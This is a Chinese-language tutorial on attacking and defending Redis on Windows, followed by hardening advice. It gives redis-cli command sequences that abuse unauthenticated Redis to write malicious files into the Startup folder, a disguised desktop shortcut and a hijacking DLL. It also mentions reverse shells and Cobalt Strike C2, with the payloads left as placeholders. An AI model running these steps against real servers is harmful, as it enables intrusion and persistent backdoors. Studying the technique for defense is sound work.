redis安全攻防-windows
字数 911 2025-08-30 06:50:35
Redis安全攻防 - Windows环境下的攻防技术
Windows写启动项
写入文件
在Windows系统中,攻击者可以利用Redis未授权访问漏洞写入恶意文件到启动目录,实现持久化控制:
-
启动目录位置:
- 当前用户启动目录:
C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ - 系统启动目录:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\
- 当前用户启动目录:
-
利用Redis写入:
redis-cli -h [目标IP] config set dir "C:/Users/[用户名]/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/" redis-cli -h [目标IP] config set dbfilename "malicious.bat" redis-cli -h [目标IP] set x "\r\n\r\n[恶意命令]\r\n\r\n" redis-cli -h [目标IP] save
阅读写入的文件
验证文件是否成功写入:
type "C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malicious.bat"
执行结果
当用户下次登录时,系统会自动执行该批处理文件,攻击者可以实现:
- 反弹shell
- 下载并执行恶意软件
- 建立持久化后门
快捷方式覆盖
攻击者可以覆盖现有的快捷方式或创建新的快捷方式指向恶意程序:
-
创建恶意快捷方式:
redis-cli -h [目标IP] config set dir "C:/Users/[用户名]/Desktop/" redis-cli -h [目标IP] config set dbfilename "看起来无害.lnk" redis-cli -h [目标IP] set x "[恶意快捷方式内容]" redis-cli -h [目标IP] save -
利用方式:
- 伪装成常用软件的快捷方式
- 修改现有快捷方式的指向目标
- 结合社会工程学诱导用户点击
Windows DLL劫持
利用Redis写入恶意DLL文件,利用Windows的DLL搜索顺序进行劫持:
-
常见DLL劫持目标:
ws2_32.dllkernel32.dlluser32.dll
-
攻击步骤:
redis-cli -h [目标IP] config set dir "C:/Program Files/[目标程序]/" redis-cli -h [目标IP] config set dbfilename "malicious.dll" redis-cli -h [目标IP] set x "[恶意DLL内容]" redis-cli -h [目标IP] save -
出网:Cobalt Strike:
- 可以编写DLL与Cobalt Strike的Beacon进行通信
- 实现隐蔽的C2通道
- 绕过部分安全产品的检测
防御措施
-
Redis配置加固:
- 设置强密码认证
- 修改默认端口
- 绑定特定IP
- 禁用危险命令(如CONFIG、SAVE等)
-
系统防护:
- 设置启动目录的ACL权限
- 监控对启动目录的写入操作
- 部署EDR解决方案检测异常行为
-
网络防护:
- 限制Redis端口的网络访问
- 部署IPS/IDS检测Redis利用行为
- 定期审计网络配置
总结
Windows环境下的Redis安全攻防涉及多种持久化技术,攻击者可以利用Redis的未授权访问漏洞在目标系统上建立持久化控制。防御方应从Redis配置、系统权限和网络防护等多层面进行防护,同时建立有效的监控机制。